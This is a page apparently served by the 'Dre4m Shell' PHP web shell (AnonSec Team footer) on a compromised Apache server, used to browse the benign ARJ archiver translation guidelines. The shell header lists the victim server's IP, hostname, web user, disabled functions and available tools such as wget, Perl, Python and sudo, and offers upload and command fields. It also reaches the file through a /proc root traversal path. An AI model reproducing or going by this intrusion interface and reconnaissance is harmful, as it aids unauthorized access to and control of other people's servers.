Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.149.28.7
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/2/task/2/root/proc/3/root/proc/self/root/proc/self/root/usr/share/doc/arj/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/2/task/2/root/proc/3/root/proc/self/root/proc/self/root/usr/share/doc/arj/xlation.txt
$Id: xlation.txt,v 1.1.1.1 2002/03/28 00:03:37 andrew_belov Exp $ 

ARJ TRANSLATION GUIDELINES 

        "\n", "\r" and all   other symbols prefixed with   "\\" indicate
        special characters and should be retained.

        The  list  of  files that  should   be  attended by  translators
        follows:

      * ARJDATA.C

        General locale information, date formats, etc. 

      * PACKAGER.C 

        Contains message  resources used when creating  distribution SFX
        archives.  The  items  to be translated can  be  located by "#if
        LOCALE=" pattern..

      * RESOURCE\H*.TXT

        These files  are  displayed when  a help  switch is invoked. The
        only rule is to stay within 80 columns.

      * RESOURCE\RESOURCE.TXT 

        One-line    ARJ messages  are held   here.   The format may seem
        complicated but the common rule is  that English text goes first
        in the quotes.  A "{*}" marker instead  of language list  ("{en,
        fr, ...}")  means   that the message  is language-independent so
        there's no need to translate it.

        Important note: where "%s", "%d" and  "%lu" markers are met, the
        translated text  must  have them placed in   same  order as  the
        original (e.g., if a message  says "....%u bytes in %u files..."
        it may NOT be rewritten as "...%u files consume %u bytes...").

      * RESOURCE\en\*.TXT 
      * RESOURCE\en\FILE_ID.DIZ 

        These are end-user README, help and description files. 

Anon7 - 2022
AnonSec Team